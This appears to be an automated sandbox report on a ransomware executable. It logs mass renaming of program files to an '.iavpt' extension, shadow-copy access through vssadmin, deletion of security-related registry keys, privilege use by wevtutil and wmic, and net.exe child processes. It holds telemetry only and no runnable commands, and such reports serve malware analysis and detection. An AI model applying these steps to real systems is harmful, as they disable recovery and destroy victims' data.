File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Red Orange.xml.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_3gGr2aH_BYM0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe\Assets\Office\CenterView.scale-180.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\StoreLogo.scale-150.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_QPJtQceSzFg0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\zh-CN\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\210x173\7.jpg C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\MainPage\mainPage_more_themes.jpg C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-explorer.xml.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_iDQQwple6hk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraWideTile.contrast-black_scale-200.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\snooze.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\GenericMailLargeTile.scale-150.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GamesXboxHubStoreLogo.scale-200_contrast-white.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookLargeTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\GenericMailWideTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\bg_get.svg.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_w-7-LaoP5sc0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_zh_4.4.0.v20140623020002.jar.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_pTjNFEeNwaU0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Retail-pl.xrm-ms.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_MI5BCxlwHfQ0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Livetiles\MicrosoftSolitaireAppList.targetsize-40_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\zh-cn\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_lPNdsMx2AWI0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-20_altform-unplated_contrast-black.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Autumn\mask\13c.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookWideTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\mk_16x11.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.targetsize-48.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\selector.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_bAGJ36vlgJg0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_Retail-ul-oob.xrm-ms.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_bTC7arMXKiM0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\tv_16x11.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Assets\contrast-black\PeopleSmallTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.targetsize-80.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_download_audit_report_18.svg.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_G_AzTkLXXaA0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_aDNUKyQG7Wc0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\eu-es\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_jRC7aa3ub680.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-text.xml.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_HPQJ92A4DRk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_O16ConsumerPerp_Bypass30-ul-oob.xrm-ms.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_ccl8lsl312k0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN022.XML.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_YhUHI9SgoFc0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteSectionMedTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\Resources\RetailDemo\strings\en-us\resources.resjson C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\OperationValidationResources.psd1 C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProVL_KMS_Client-ul.xrm-ms.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_D6GkbtamK7c0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_VZp8cGpp9pA0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects\Grunge Texture.eftx.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT__3ANxj7ajvM0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\Images\PrintAndShare\Glyph_0xecd1.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\Assets\FileExtension.targetsize-32.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\s_close2x.png.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_7uvTaMR98700.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-BA\msipc.dll.mui.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_TYMWVKQ_M-E0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\de-de\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_uIrEA0rRcy00.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ru-ru\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_7DD4STECCQ00.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\OFFSYMSL.TTF.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_e4VeWvn7IF80.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageSplashScreen.scale-100.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxMailSplashLogo.scale-100.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\ExchangeBadge.scale-100.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.targetsize-72_altform-unplated_contrast-white.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_OyHFUyw8MoY0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\Ole DB\fr-FR\msdaorar.dll.mui.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_IOfKApN4h480.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Snippets\ShouldBeNullOrEmpty.snippets.ps1xml C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_K0CXDD53VGs0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\EXCEL_K_COL.HXK.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_5Vem_Z__QVE0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe\AppxSignature.p7x C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\8041_24x24x32.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3224 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 3224 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 1708 wrote to memory of 3708 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1708 wrote to memory of 3708 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 3224 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 1252 wrote to memory of 2912 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1252 wrote to memory of 2912 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 3224 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 1920 wrote to memory of 1764 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1920 wrote to memory of 1764 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 708 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 3224 wrote to memory of 708 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 708 wrote to memory of 3548 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 708 wrote to memory of 3548 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 3224 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
PID 884 wrote to memory of 1216 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 884 wrote to memory of 1216 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3224 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\SYSTEM32\net.exe
